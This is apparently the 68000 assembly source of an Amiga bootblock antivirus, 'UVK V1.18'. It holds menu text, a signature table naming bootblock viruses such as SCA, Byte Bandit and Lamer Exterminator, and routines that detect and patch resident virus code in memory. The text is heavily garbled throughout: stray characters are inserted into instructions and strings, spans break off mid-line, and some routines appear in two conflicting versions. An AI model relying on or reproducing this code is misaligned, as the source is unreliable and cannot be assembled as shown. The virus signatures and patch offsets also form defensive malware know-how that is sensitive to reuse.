NextDrd:7lea Drd,a0 TstDr: move.l (a0),d0 lea DriveC,a1 SeaNDr: addq #1,d0 cmp.l #4,d0 bne.s NoLastD clr.l d0 NoLastD:tst.b 0(a1,d0.l) beq.s SeaNDr move.l d0,(a0) bsr.L ShConDr rts GfxWinO:move.b #1,RastFlag lea Window2,a0 move.w d0,(a0) move.w d1,2(a0) move.w d2,4(a0) move.w d3,6(a0) move.l IntBase,a6 lea Window2,a0 jsr -204(a6) ;openwindow move.l d0,WindowHd2 move.l WindowHd2,a0 move.l 50(a0),RastPort2 move.l GfxBase,a6 move.l RastPort2,a1 moveq #2,d0 jsr -342(a6) 90 clr.l d0 clr.l d1 movem.l d1/a1,-(a7) jsr -306(a6) ;modif a1/d1 movem.l (a7)+,d1/a1 subq #1,d2 subq #1,d3 jsr -240(a6) moveq #3,d0 jsr -342(a6) ;modif d0/d1 move.l d2,d0 clr.l d1 jsr -246(a6) ;modif d1/a1 clr.l d0 clr.l d1 move.l RastPort2,a1 jsr -240(a6) move.l d3,d1 jsr -246(a6) moveq #1,d0 clr.l d1 move.l RastPort2,a1 jsr -240(a6) move.l d3,d1 jsr -246(a6) moveq #1,d0 move.l RastPort2,a1 jsr -342(a6) ;modif d0/d1 clr.l d0 move.l d3,d1 jsr -240(a6) move.l d2,d0 jsr -246(a6) move.l RastPort2,a1 clr.l d1 move.l d2,d0 jsr -240(a6) move.l d3,d1 jsr -246(a6) move.l RastPort2,a1 clr.l d1 move.l d2,d0 subq #1,d0 jsr -240(a6) move.l d3,d1 jsr -246(a6) rts GfxWinC:clr.b RastFlag move.l IntBase,a6 move.l WindowHd2,a0 jsr -72(a6) ;closewindow rts WaitRet:bsr.L GetKey cmp.b #$43,d0 beq.s EWRet cmp.b #$44,d0 beq.s EWRet btst #10,$dff016 bne.s WaitRet WRLp: btst #10,$dff016 beq.s WRLp EWRet: rts Reset: movνne.l #$fc00d2,$80 trap #0 rts Check: bsr.L ReadTrk bne.L EndChk bsr.L ChkBoot bne.L EndChk moveq #1,d2 move.l Buffer,a0 lea VirList,a1 VirLp: move.l (a1),d0 move.l 0(a0,d0.l),d1 cmp.l 4(a1),d1 bne.s NoVir move.l 4(a0,d0.l),d1 cmp.l 8(a1),d1 bne.s NoVir move.l 12(a1),a0 moveq #6,d0 moveq #88,d1 clr.l Color bsr.L GfxWr2 lea Detect,a0 lsl.l #3,d0 addq #6,d0 moveq #88,d1 bsr.L GfxWr clr.b TimeFlag bra.s KillV NoVir: add.l #16,a1 tst.l (a1) bne.s VirLp lea 6W)_ut UVK ...",$a dc.b " ey : Keys page.",$a dc.b " uit : Reset.",$a,$a dc.b " See Info page for my adress.",$A dc.b $a," Press to continue.",-1 dosname:dc.b "dos.library",0 diskres:dc.b "disk.resource",0,0 even bootb: dc.b "DOS",0 dc.l $0ff0e58b,$370,$48e7fffe,$33fc094f,$00dff180,$4cdf7fff dc.l $43fa0018,$4eaeffa0,$4a80670a,$20402068,$00167000 dc.l $4e7570ff dc.b $60,$fa,"dos.library",0 dc.b " Installed with UVK V1.18 by AMIGUY",0 blk.b 922,0 NORMB: DC.7D+lB "DOS",0 dc.l $C0200F19,$370,$43FA0018,$4EAEFFA0,$4A80670A,$20402068 dc.l $00167000,$4E7570FF DC.B $60,$FA,"dos.library",0 blk.b 974,0 PROTB: blk.b 1024,0 SENTB: blk.b 1024,0 NOFMB: blk.b 1024,0 NODRB: blk.b 1024,0 NOLOB: blk.b 1024,0 NOBOB: BLK.B 1024,0 IRQPB: blk.b 1024,0 even diskport: dc.l 0 dc.l 0 dc.w $0400 dc.l 0 dc.b 0 dc.b 31 dc.l 0 lh1: dc.l lh2 lh2: dc.l 0 dc.l lh1 dc.b 0 dc.b 0 diskioreq: dc.l 0 dc.l 0 dc.b 5 dc.b 0 dc.l 0 dc.l diskport dc.w 48 dc8wlear or eep it in memory ?",$a,-1 notft: dc.b $c,$a,$a,$9b,"0 p"," FILE NOT FOUND",$a,-1 sumt: dc.b $c,$a,$a,$9b,"0 p" dc.b " RECALCULATE BOOTBLOCK CHECKSUM...",$a,-1 wr: dc.b $c,$a,$a,$9b,"0 p"," WRITING NEW CHECKSUM...",$a,-1 namet: dc.b $C,$A,$A," ENTER FILENAME ",$A,$A,$9B," p"," ",-1 speci: dc.b $C,$A,$A," SPECIFY DRIVE ",$A,$A,$9B,"0 p",-1 VERIFT: DC.B $9B,"0 p",$A,$A," VERIFYING MEMORY ...",$a,$a,-1 FOUND: dc.b "FOUND & KILLED",$a,-1 clean: dc.b.s " NO VIRUS FOUND IN MEMORY",$a,-1 RETT: DC.B $A," PRESS TO CONTINUE",$A,-1 cooT: DC.B $A," RESIDENT POINTER ALTERED & RESTORED",$0A,-1 UNKt: dc.b $c,$a,$a," NOTHING SUSPECT ...",$a,-1 SOUt: dc.b $c,$a,$a," INSERT SOURCE IN DF0:",$a,-1 dest: dc.b $c,$a,$a,$9b,"0 p"," INSERT DESTINATION IN DF0: ",$a,-1 SOU: dc.b $c,$a,$a," INSERT SOURCE ",$a,-1 des: dc.b $c,$a,$a,$9b,"0 p"," INSERT DESTINATION ",$a,-1 kilt: dc.b $a,$a," xit or ill ",$a,-1 protxt: dc.b $c,$a,$a," DISK PR/byOTECTED",$9b,"0 p",$a,-1 ndktxt: dc.b $c,$a,$a," NO DISK IN DRIVE",$9b,"0 p",$a,-1,0 lastmsg:dc.b " UVK 1.18 by AMIGUY.",$a dc.b " Watch out for updates !!!",$a,$a,0 lastmsgf: even name: dc.b "raw:40/5/534/149/UVK V1.18 by AMIGUY (K???-CHIP)",0 even dc.l 0 texte: dc.b $C,$a," The Ultimate Virus Killer",0,0 drtxt: dc.b " ",0 dc.b $a," -------------------------" dc.b $a,$a," Your choice:",$a,$a dc.b " 1> CHECK VIRUS",$a," 2> DISPLAY BOOTBLOCK" dc.b $a," 3> COPY0B BOOTBLOCK",$a," 4> MOVE BOOTBLOCK " DC.B $A," 5> INSTALL BOOTBLOCK",$A," 6> INFOS" DC.B $A,$A," 7> QUIT",$a,$9b,"0 p",-1 MOVET: DC.B $C,$A," MOVE A BOOTBLOCK (DF0)" DC.B $A," ----------------" dc.b $A,$A," 1> BOOTBLOCK TO FILE" DC.B $A," 2> FILE TO BOOTBLOCK" dc.b $a,$a," 3> EXIT",-1 keytxt: dc.b $c,$a," KEYS :",$A," ----",$a,$a dc.b " hecksum : Recalculate BootBlock Checksum.",$a DC.B " rives : Exchange source/destination.",$a dc.b " reetings: Thanks to ...",1Y@$a dc.b " nfo : About UVK ...",$a dc.b " ey : This page.",$a dc.b " uit : Reset.",$a,-1 credt: dc.b $c,$a,$9b,"0 p" dc.b" I must thank the following people:",$a,$a dc.b" - KOUGAR for the idea of UVK and for giving me the GADAFFI,",$a DC.B" the NORTHSTAR and the BLACKSTAR viruses,",$a dc.b" - Mr Cupertino for IRQ virus,",$a dc.b" - HAWKMOON for the DISK-DOKTOR virus,",$a dc.b $a," ... and anybody who will send me new viruses !",-1 guytxt: dc.b $c,$a," UVK2kl 1.18 ",$a,$A dc.b " If you enjoy it, if you want the docfile,",$a dc.b " If you want updates (send me new viruses),",$a DC.B " send me a letter to the following address:",$a dc.b $a," AMIGUY",$a," 59 allee des piverts",$a dc.b " Le bois du charme,",$a," 27190 Orvaux",$a dc.b " France",$a dc.b $a," If you find any bugs/new ideas for updates,",$a dc.b " you must contact me too.",$a," See you soon !",$a,-1 even insT: DC.B $C,$A," INSTALL A BOOTBLOCK (DF0)", DC.B $3fUA, " -------------------" dc.b $A,$A," 1> NORMAL DOS",$A," 2> RAM CLEANER V2.0" dc.b $a," 3> SENTINEL V1.0 (Not available now)" dc.b $a," 4> NO FASTMEM",$a," 5> NO DRIVE" dc.b $a," 6> LOW PASS FILTER OFF",$a," 7> IRQ PROTECTOR" dc.b $a," 8> NO BOOT",$A,$A," 9> EXIT",-1 INFT:DC.B $c,$a," UVK knows the following viruses/bootblocks :",$a,$a dc.b " SCA (AEK/LSD/BS1) Byte Bandit (FORPIB) Byte Warrior",$A DC.B " Pentagon Circle Lamer Exterminator 1-4 Disk-Doktors",$A dc.b4dV " Gadaffi Northstar Northstar2",$a DC.B " IRQ (RAM) Revenge V1.2 HCS 4220",$A,$a dc.b " BootGirl CCSBoot V2.0 XCOPY 2.0",$A dc.b " ASS Protector 1.0 Mem Controller 1.3 AVIREX",$A dc.b " V.D.C 1.3 No Expansion Mem TIP NoFastMem",$A dc.b " Gx.Team NoFastMem Virus Terminator V1.0 BootLeg V2.1",$A dc.b " I.B. BootCopy Mem Controller 1.2 Random Access",$A dc.b " Pvl Protectors 3.0/5]u4.0/5.1/5.3/5.4/6.1/6.4",$A,$a dc.b $a," Press to continue.",-1 INFT2:dc.b $c,$a," What UVK can do :",$A DC.B " Check Ram/Disk, Clean Ram/Disk, Restore altered vectors, ",$A DC.B " Check Resident pointers, Recalculate BootBlock Checksum,",$A dc.b " Recognize resident Prgs in Ram.",$a,$a dc.b " Keys:",$a dc.b " hecksum : Recalculate BootBlock Checksum.",$a DC.B " rives : Exchange source/destination.",$a dc.b " reetings: Thanks to ...",$a dc.b " nfo : Abo ZW bsr.L ecrire2 bsr.S fndsub endc: cmp.l #0,flag bne.s end2 move.l #clean,d2 bsr.L ecrire2 end2: rts FNDSUB: MOVE.L #FOUND,D2 move.b #$1,flag BSR.L ECRIRE2 RTS clrram: rts coolchk:move.l #$50,d0 move.l $4,a6 tst.l 46(a6) bne.s coolcl tst.l 42(a6) beq.s okcool coolcl: clr.l 42(a6) clr.l 46(a6) lea 34(a6),a0 clr.w d0 moveq #$17,d1 coollp: add.w (a0)+,d0 dbf d0,coollp not.w d0 move.w d0,(a0) okcool: tst.l 550(a6) beq.s coolmsg clr.l 546(a6) clr.l 550(a6) jsr -6! 12(a6) move.l d0,554(a6) coolmsg:cmp.l #$50,d0 beq.s coolend MOVE.L #COOT,D2 BSR.L ECRIRE2 coolend:rts PROCHK: move.b #1,retkey move.b #1,protector MOVE.L $4,a6 move.l 550(a6),a0 cmp.l #"Guar",18(a0) bne.s garc1 move.l #gar2t,d2 bsr.L ecrire2 bsr.l clrpro rts garc1: MOVE.L $4,a6 move.l 550(a6),a0 cmp.l #"Guar",-172(a0) bne.s sys4c move.l #gar1t,d2 bsr.L ecrire2 bsr.l clrpro rts sys4c: MOVE.L $4,a6 move.l 550(a6),a0 cmp.l #"4.0 ",-172(a0) bne.s sys3c move.l #s"Sirys4t,d2 bsr.L ecrire2 bsr.l clrpro rts sys3C: MOVE.L $4,a6 move.l 550(a6),a0 cmp.l #"3.0 ",-172(a0) bne.s sys5c move.l #sys3t,d2 bsr.L ecrire2 bsr.l clrpro rts sys5c: MOVE.L $4,a6 move.l 550(a6),a0 cmp.l #"5.1 ",-176(a0) bne.s sys53c move.l #sys5t,d2 bsr.L ecrire2 bsr.l clrpro rts sys53c: MOVE.L $4,a6 move.l 550(a6),a0 cmp.l #"V5.3",-142(a0) bne.s sys61c move.l #sys53t,d2 bsr.L ecrire2 bsr.l clrpro rts sys61c: MOVE.L $4,a6 move.l 550(a6),a0 cmp.l #"V6.1",-13#xQh0(a0) bne.s sys54c move.l #sys61t,d2 bsr.L ecrire2 bsr.l clrpro rts sys54c: MOVE.L $4,a6 move.l 550(a6),a0 cmp.l #"V5.4",-142(a0) bne.s sys64c move.l #sys54t,d2 bsr.L ecrire2 bsr.l clrpro rts sys64c: MOVE.L $4,a6 move.l 550(a6),a0 cmp.l #"V6.4",-986(a0) bne.s endpro move.l #sys64t,d2 bsr.L ecrire2 bsr.l clrpro rts endpro: clr.b protector clr.b retkey rts clrpro: move.l #clrprot,d2 bsr.L ecrire2 CLRLP: bsr.L keyread move.l #buf,a0 move.b (a0),d0 cmp.l #-1,d0 $hCbeq.s clrpro cmp.b #"c",d0 beq.s effpro cmp.b #"C",d0 beq.s effpro bra.L tkk effpro: clr.b protector rts tkk: cmp.b #"k",d0 beq.s endp cmp.b #"K",d0 beq.s endp bra.s clrlp endp: rts bootlist:dc.l $0c,$41fa0196,$0c506f6d,ccsb dc.l $64,$5c9e004a,$b0a0829c,noexpan dc.l $20,$428741fa,$ffe8b1fc,mem12 dc.l $40,$0009001c,$4eaefe38,girl dc.l $50,$48e7fffe,$337c0009,ass dc.l $60,$02c000df,$f18033fc,sys30 dc.l $60,$0f9000df,$f18033fc,sys40 dc.l $6c,$0226671a,$0cae0007,sys5%R|1 dc.l $1b0,$000000f0,$00f00000,sys53 dc.l $1b0,$0eca00f0,$00f00eca,sys54 dc.l $78,$2c780004,$42ae002e,sys61 dc.l $1b0,$0ca90000,$04000024,sys64 dc.l $0C,$43FA00F4,$4EAEFFA0,nofast dc.l $0c,$0c6e0020,$00146f00,random dc.l $0c,$43fa0136,$70004eae,xcopy dc.l $20,$42862a3c,$0027f000,mem13 dc.l $14,$48e7fffe,$237c0005,gxtnf dc.l $18,$00804e40,$46fc2700,botcop dc.l $10,$4eba0036,$4cdf7fff,avirex dc.l $14,$0004202e,$02260c80,virter dc.l $18,$000a0016,$66000036,vdc dc.l &>bdi$02,$4b49,$0,kick dc.l $10,$0,$0,notins dc.l $0c,$2c780004,$41fa00b2,bootleg dc.l $0c,$43fa0018,$4eaeffa0,norm,0 virlist:dc.l $0c,$41fafff2,$43f90007,sca dc.l $4c,$48e77f7f,$2c780004,BAN dc.l $c0,$44415341,$3081323c,war dc.l $18,$41faffe6,$43f90007,PEN dc.l $0c,$2c790000,$00044eae,dok dc.l $48,$6d026022,$41faffb2,nor dc.l $48,$41faffb6,$43f90007,bla dc.l $42,$343c0352,$d310b118,lam ;lamer2 dc.l $1a,$123a03d3,$343c03c4,lam ;lamer3 dc.l $42,$45fa0369,$1012b118,lam ;lamer1 'dc.l $42,$45fa0365,$1012b118,lam ;lamer4 dc.l $d8,$0007ff14,$61000008,gad dc.l $10,$432e0007,$ec24661c,hcs dc.l $18,$ffe843f9,$0007e000,rev,0 notins: dc.b " NOT INSTALLED DISK ",-1 kick: dc.b " KICKSTART DISK ",-1 ccsb: dc.b " CCS BOOT 2.0 ",-1 noexpan:dc.b " NO EXPANSION MEMORY BOOT ",-1 girl: dc.b " BOOTGIRL BOOT ",-1 mem12: dc.b " MEMORY CONTROLLER 1.2 ",-1 ASS: dc.b " ASS PROTECTOR 1.0 ",-1 random: dc.b " RANDOM ACCESS BOOT ",-1 nofast: dc.b " NOFASTMEM BOOT ",-1 MEM13: dc.b (" MEMORY CONTROLLER 1.3 ",-1 XCOPY: dc.b " XCOPY 2.0 BOOT ",-1 SYS30: dc.b " PvL ANTIVIRUS 3.0 ",-1 sys40: dc.b " PvL ANTIVIRUS 4.0 ",-1 SYS51: dc.b " PvL ANTIVIRUS 5.1 ",-1 SYS53: dc.b " PvL ANTIVIRUS 5.3 ",-1 sys54: dc.b " PvL ANTIVIRUS 5.4 ",-1 sys61: dc.b " PvL ANTIVIRUS 6.1 ",-1 sys64: dc.b " PvL ANTIVIRUS 6.4 ",-1 norm: dc.b " NORMAL DOS BOOT ",-1 gxtnf: dc.b " GX.TEAM NOFASTMEM ",-1 botcop: dc.b " INVISIBLE BRAIN BOOTCOPY ",-1 avirex: dc.b " AVIREX BOOT ",-1 virter: dc.b " VIR)M}US TERMINATOR V1.0 ",-1 vdc: dc.b " VIRUS DETECTOR CLEANER ",-1 bootleg:dc.b " BOOTLEG V2.1 LOADER ",-1,0 sca: dc.b " SCA (LSD/AEK/BS1) VIRUS ",-1 BAN: dc.b " BYTE BANDIT VIRUS ",-1 WAR: dc.b " BYTE WARRIOR (DASA) VIRUS ",-1 bla: dc.b " NORTHSTAR2 VIRUS ",-1 pen: dc.b " PENTAGON CIRCLE VIRUS ",-1 lam: dc.b " LAMER EXTERMINATOR 1-4 VIRUS ",-1 dok: dc.b " DISK-DOKTOR VIRUS ",-1 IRQ: dc.b " IRQ VIRUS ",-1 gad: dc.b " GADAFFI VIRUS ",-1 HCS: dc.b " H.C.S VIRUS 4220 ",-1 rev: dc.b " REVE*qNGE V1.2 VIRUS ",-1 nor: dc.b " NORTHSTAR VIRUS ",-1 gar1t: dc.b $9b,"0;33;40m",$0a," GUARDIAN V1.1",$9b,"0;31;40m" dc.b " DETECTED IN MEMORY",$a,-1 gar2t: dc.b $a,$9b,"0;33;40m"," GUARDIAN V1.2",$9b,"0;31;40m" dc.b " DETECTED IN MEMORY",$a,-1 SYS3t: dc.b $a,$9b,"0;33;40m"," Pvl ANTIVIRUS V3.0" DC.B $9b,"0;31;40m"," DETECTED IN MEMORY",$a,-1 SYS4t: dc.b $a,$9b,"0;33;40m"," Pvl ANTIVIRUS V4.0" DC.B $9b,"0;31;40m"," DETECTED IN MEMORY",$a,-1 SYS5t: dc.b $a,$9b,"0;33;40m"," Pvl ANTBz.l flagdr beq.s ldpont bsr.l drive cmp.l #1,goon bne.L endld bsr.l protect cmp.l #1,goon bne.L endld ldpont: move.l #namet,d2 bsr.L ecrire2 bsr.l nameprg lea file,a0 cmp.b #"D",(a0) beq.s okload cmp.b #"d",(a0) beq.s okload bsr.L specifie rts okload: cmp.b #"F",1(a0) beq.s okloaf cmp.b #"f",1(a0) beq.s okloaf bsr.L specifie rts okloaf: cmp.b #":",3(a0) beq.s okloadp bsr.L specifie rts okloadp:move.b 2(a0),d0 cmp.b drs,d0 beq.s okdrl cmp.b drd,d0 beq.S okdBvrl rts okdrl: bsr.L opendev bsr.L drive tst.l goon beq.S endld bsr.l readprg cmp.l #1,notfound beq.s endld move.l #dest,d2 bsr.L ecrire2 BSR.L WAITRET bsr.L drive cmp.l #1,notfound beq.s endld move.l buffer,boots bsr.L copyb bsr.l writeb endld: rts writeprg:tst.l flagdr beq.s wrpont bsr.l drive cmp.l #1,goon bne.s endwrp bsr.l protect cmp.l #1,goon bne.s endwrp wrpont: move.l dosbase,a6 move.l nameprog,d1 move.l #1006,d2 jsr -30(a6) move.l d0,iboot "R move.l d0,d1 move.l buffer,d2 move.l #$400,d3 jsr -48(a6) nowrite:move.l iboot,d1 jsr -36(a6) endwrp: rts readprg:clr.l notfound tst.l flagdr beq.s rdpont bsr.l drive cmp.l #1,goon bne.s endwrp rdpont: move.l dosbase,a6 move.l nameprog,d1 move.l #1005,d2 jsr -30(a6) tst.l d0 beq.s endrdp move.l d0,iboot move.l d0,d1 move.l buffer,d2 move.l #$400,d3 jsr -42(a6) move.l iboot,d1 jsr -36(a6) bra.s goodrd endrdp: move.l #1,notfound move.l #notft,d2 bsr.l ecrire2 $; bsr.l wait goodrd: rts waitRET:bsr.L keyread move.l #buf,a0 move.b (a0),d0 cmp.l #$0d,d0 bne.s waitRET RTS info: move.l #inft,d2 bsr.L ecrire2 BSR.S WAITRET move.l #inft2,d2 bsr.L ecrire2 bsr.s waitret rts ecrire: move.l dosbase,a6 move.l conhandle,d1 jsr -48(a6) rts wait: move.l dosbase,a6 jsr -198(a6) MOVE.L #85,D1 rts motor: move.l 4,a6 lea diskioreq,a1 move.w #9,28(a1) clr.l 36(a1) jsr -456(a6) rts keyread:move.l dosbase,a6 move.l conhandle,d1 move .l #buf,d2 moveq #1,d3 jsr -42(a6) rts RAMCHK: move.l $4,a6 move.l 46(a6),a0 sub.l #$3e,a0 cmp.l #$41fafff2,$c(a0) bnE.S bandit move.l #orange,d2 bsr.L ecrire2 move.l #sca,d2 bsr.L ecrire2 move.l #normal,d2 bsr.L ecrire2 BSR.L FNDSUB bandit: move.l $4,a6 move.l 550(a6),a0 sub.l #$3e2,a0 cmp.l #$48e77f7f,$4c(a0) BNE.S WARRIOR move.l #orange,d2 bsr.L ecrire2 MOVE.L #BAN,D2 BSR.L ECRIRE2 move.l #normal,d2 bsr.L ecrire2 BSR.L FNDSUB move.l $4,a6 move.l 550( %a6),a0 sub.l #$3e2,a0 andi.b #$50,462(a0) MOVE.L #" ",32(a0) WARRIOR:move.l $4,a6 move.l 550(a6),a0 sub.l #$14c,a0 cmp.l #"DASA",192(a0) bne.S pentagon move.l #orange,d2 bsr.L ecrire2 move.l #war,d2 bsr.L ecrire2 move.l #normal,d2 bsr.L ecrire2 bsr.L fndsub pentagon:move.l $4,a6 move.l 46(a6),a0 sub.l #$4c,a0 cmp.l #$41faffe6,$18(a0) bne.S lamer2 move.l #orange,d2 bsr.L ecrire2 move.l #pen,d2 bsr.L ecrire2 move.l #normal,d2 bsr.L ecrire2 bsr.L fndsub lam yer2: move.l $4,a6 move.l 550(a6),a0 sub.l #$3b8,a0 cmp.l #$790048e7,$30(a0) bne.S lamer3 move.l #$600001d8,$17c(a0) move.l #orange,d2 bsr.L ecrire2 move.l #LAM,d2 bsr.L ecrire2 move.l #normal,d2 bsr.L ecrire2 bsr.L fndsub lamer3: move.l $4,a6 move.l 550(a6),a0 sub.l #$406,a0 cmp.l #$226e003a,$2a(a0) bne.S lamer1 move.l #$60000210,$164(a0) move.l #orange,d2 bsr.L ecrire2 move.l #LAM,d2 bsr.L ecrire2 move.l #normal,d2 bsr.L ecrire2 bsr.L fndsub lamer1: move. C0l $4,a6 move.l 550(a6),a0 sub.l #$3be,a0 cmp.l #$45fa00369,$42(a0) bne.S lamer4 move.l #$600001c6,$17c(a0) move.l #orange,d2 bsr.L ecrire2 move.l #LAM,d2 bsr.L ecrire2 move.l #normal,d2 bsr.L ecrire2 bsr.L fndsub lamer4: move.l $4,a6 move.l 550(a6),a0 sub.l #$3ba,a0 cmp.l #$45fa0365,$42(a0) bne.S dkdok move.l #$600001c6,$178(a0) move.l #orange,d2 bsr.L ecrire2 move.l #LAM,d2 bsr.L ecrire2 move.l #normal,d2 bsr.L ecrire2 bsr.L fndsub dkdok: move.l $4,a6 morf3ve.l 46(a6),a0 move.b #$34,57(a0) sub.l #$272,a0 cmp.l #$2c790000,$c(a0) bne.s irqc move.w #$4e75,$2ac(a0) move.b #$f9,$151(a0) move.l #orange,d2 bsr.L ecrire2 move.l #dok,d2 bsr.L ecrire2 move.l #normal,d2 bsr.L ecrire2 bsr.L fndsub irqc: move.l irqopenlib,a0 cmp.l #" IRQ",-816(A0) bne.s gadac move.l #orange,d2 bsr.L ecrire2 move.l #IRQ,d2 bsr.L ecrire2 move.l #normal,d2 bsr.L ecrire2 bsr.L fndsub gadaC: move.l $4,a6 move.l 46(a6),a0 sub.l #220,a0 cmp.l #$wJ20007ff14,$d8(a0) bne.s nor1c move.b #$8c,343(a0) move.l #orange,d2 bsr.L ecrire2 move.l #gad,d2 bsr.L ecrire2 move.l #normal,d2 bsr.L ecrire2 bsr.L fndsub nor1c: move.l $4,a6 move.l 46(a6),a0 sub.l #$e,a0 cmp.l #$6d026022,$48(a0) bne.s nor2c move.l #orange,d2 bsr.L ecrire2 move.l #nor,d2 bsr.L ecrire2 move.l #normal,d2 bsr.L ecrire2 bsr.L fndsub nor2c: move.l $4,a6 move.l 46(a6),a0 sub.l #$e,a0 cmp.l #$41faffb6,$48(a0) bne.s revc move.l #orange,d2 bsr.L ec5rire2 move.l #bla,d2 bsr.L ecrire2 move.l #normal,d2 bsr.L ecrire2 bsr.L fndsub revc: move.l $4,a6 move.l 46(a6),a0 sub.l #$60,a0 cmp.l #$ffe843f9,$18(a0) bne.s hcsc move.w #$600a,$1e8(a0) move.l #orange,d2 bsr.L ecrire2 move.l #rev,d2 bsr.L ecrire2 move.l #normal,d2 bsr.L ecrire2 bsr.S fndsub hcsc: move.l $4,a6 move.l 46(a6),a0 sub.l #$78,a0 cmp.l #$432e0007,$10(a0) bne.s endc move.l #orange,d2 bsr.L ecrire2 move.l #hcs,d2 bsr.L ecrire2 move.l #normal,d2  `"(a0)+ bne.s ecrilp sub.l #1,d3 bsr.l ecrire rts display:bsr.l readtrk CMP.L #1,GOON BNE.S ENDDISP move.l buffer,a0 lea scr,a1 move.b (a0),d0 bra.s first scrct: move.b (a0),d0 first: cmp.b #$7f,d0 bhi.s nocar move.b (a0),d0 cmp.b #$20,d0 blo.s nocar move.b (a0),(a1)+ bra.L contd nocar: move.b #$2e,(a1)+ contd: addq.l #1,a0 cmp.l #scr+1024,a1 beq.s endcar bra.s scrct endcar: move.l #scr,d2 move.l #$200,d3 bsr.L ecrire move.l #scr+$200,d2 move.l #$200,d3  te bsr.L ecrire BSR.L WAITRET ENDDISP:rts exchdr: tst.l flagdr bne.s endexdr lea drtxt,a0 move.b drs,d0 move.b drd,d1 move.b d1,drs move.b d0,drd move.b drs,10(a0) move.b drd,16(a0) lea movet,a0 move.b drs,25(a0) lea inst,a0 move.b drd,28(a0) lea sout,a0 move.b drs,23(a0) lea dest,a0 move.b drd,32(a0) clr.l d0 endexdr:rts tstdrdi:move.l resbase,a6 jsr 30(a6) rts COPY: move.l #sout,d2 bsr.L ecrire2 BSR.L WAITRET bsr.L readtrk cmp.l #1,goon bne.s endcop  ]move.l #dest,d2 bsr.l ecrire2 BSR.L WAITRET bsr.L writeb endcop: rts check: moveq #0,d2 bsr.L chkboot tst.l d2 bne.L endchk move.l #50,d2 bsr.L readtrk CMP.L #0,GOON BNE.S OKCHK RTS OKCHK: move.l buffer,a0 lea virlist,a1 virlp: move.l (a1),d0 move.l 0(a0,d0.l),d1 cmp.l 4(a1),d1 bne.s novir move.l 4(a0,d0.l),d1 cmp.l 8(a1),d1 bne.s novir move.l a1,-(a7) move.l #cls2,d2 bsr.L ecrire2 move.l #orange,d2 bsr.L ecrire2 move.l (a7)+,a1 move.l $c(a1),d2 bsr.L ecrir Be2 move.l #normaL,d2 bsr.L ecrire2 move.l #detect,d2 bsr.L ecrire2 cmp.l #50,d2 bne.s killv rts novir: add.l #16,a1 tst.l (a1) bne.s virlp MOVE.L #UNKT,D2 BSR.L ECRIRE2 BSR.L WAIT rts killv: move.l #kilt,d2 bsr.l ecrire2 waitk: bsr.L keyread move.l #buf,a0 move.b (a0),d0 cmp.b #"e",d0 beq.s endchk cmp.b #"E",d0 beq.s endchk cmp.b #"k",d0 beq.s killvir cmp.b #"K",d0 beq.s killvir bra.s waitk killvir:lea bootb,a0 move.l a0,boots bsr.l copyb bsr.L writb endX chk: rts protect:move.l $4,a6 MOVE.L #1,GOON lea diskioreq,a1 move.w #15,28(a1) jsr -456(a6) lea diskioreq,a1 tst.l 32(a1) beq.s okprot CLR.L GOON promsg: move.l #protxt,d2 bsr.L ecrire2 bsr.L wait OKPROT: rts instALL:MOVE.L #inst,D2 BSR.L ECRIRE2 bsr.L keyread move.l #buf,a0 move.b (a0),d0 lea inslist,a0 inslp: move.b 3(a0),d1 cmp.b d0,d1 bne.s noins move.l 4(a0),boots bsr.s isub bra.s inscont noins: add.l #8,a0 tst.l (a0) bne.s inslp inscont:cmp.l #"d",Еd0 beq.s chdr cmp.l #"D",d0 beq.S chdr bra.s t9 chdr: bsr.L exchdr t9: cmp.l #"9",d0 bne.L install MOVEQ #0,D0 rts ISUB: BSR.L COPYB BSR.L WRITEB MOVE.L #inst,D2 BSR.L ECRIRE2 RTS drive: move.l $4,a6 MOVE.L #1,GOON lea diskioreq,a1 move.w #14,28(a1) jsr -456(a6) lea diskioreq,a1 tst.l 32(a1) beq.s okdk CLR.L GOON move.l #ndktxt,d2 bsr.L ecrire2 bsr.L wait OKDK: rts readtrk:bsr.L opendrs BSR.S DRIVE CMP.L #1,GOON BNE.S ENDTRK okread: move.l $4,a6 leDa diskioreq,a1 move.w #2,28(a1) move.l #1024,36(a1) move.l buffer,40(a1) move.l #0,44(a1) jsr -456(a6) tst.l d0 beq.s okread2 bra.L loop okread2:bsr.L motor ENDTRK: rts writeb: bsr.L opendrd writb: bsr.L drive cmp.l #1,goon bne.s endwrit bsr.L protect cmp.l #1,goon bne.s endwrit move.l $4,a6 lea diskioreq,a1 move.w #3,28(a1) move.l #1024,36(a1) move.l buffer,40(a1) move.l #0,44(a1) jsr -456(a6) move.w #4,28(a1) move.l #1024,36(a1) move.l buffer,40(a1) mo:ve.l #0,44(a1) jsr -456(a6) tst.l d0 beq.s okwr okwr: bsr.L motor rts endwrit:rts MOVESUB:MOVE.L #MOVET,D2 BSR.L ECRIRE2 bsr.L keyread move.l #buf,a0 move.b (a0),d0 cmp.b #"1",d0 bne.s t2M bRA.L RECORD t2M: cmp.b #"2",d0 bNE.L pasld bRA.L LOAD pasld: cmp.b #"d",d0 beq.s chdrm cmp.b #"D",d0 beq.s chdrm bra.s t3m chdrm: bsr.L exchdr t3m: cmp.l #"3",d0 bne.s movesub rts nameprg:clr.l keycpt LEA file,a2 move.l #29,d0 restorefile: clr.b (a2)+ dbf d0,restorefile lea file,a2 lpkey: addq.l #1,keycpt lpkey1: bsr.L keyread move.l #buf,a0 move.b (a0),d0 CMP.L #-1,D0 BEQ.S LPKEY cmp.l #$0d,d0 beq.s endrec cmp.l #8,d0 bne.s ctkey cmp.l #1,keycpt beq.s lpkey1 move.l #delt,d2 subq.l #1,keycpt SUBQ.L #1,A2 MOVE.B #0,(A2) bsr.l ecrire2 ctkey: cmp.l #31,keycpt beq.s lpkey1 cmp.l #20,d0 blo.s lpkey1 cmp.l #127,d0 bhi.s lpkey1 bra.s notret endrec: lea file,a0 move.l a0,nameprog rts notret: move.B D0,(a2)+ move.l #buf,d2 movem..l #1,d3 bsr.L ecrire brA.L lpkey record: move.l #sout,d2 bsr.L ecrire2 BSR.L WAITRET bsr.L readtrk cmp.l #1,goon bne.L endrecord move.l #des,d2 bsr.L ecrire2 BSR.L WAITRET tst.l flagdr beq.s repont bsr.l drive cmp.l #1,goon bne.L endrecord bsr.l protect cmp.l #1,goon bne.L endrecord repont: move.l #namet,d2 bsr.L ecrire2 bsr.l nameprg lea file,a0 cmp.b #"D",(a0) beq.s okrecd cmp.b #"d",(a0) beq.s okrecd bsr.s specifie rts okrecd: cmp.b #"F",1(a0) beq.sF okrecf cmp.b #"f",1(a0) beq.s okrecf bsr.s specifie rts okrecf: 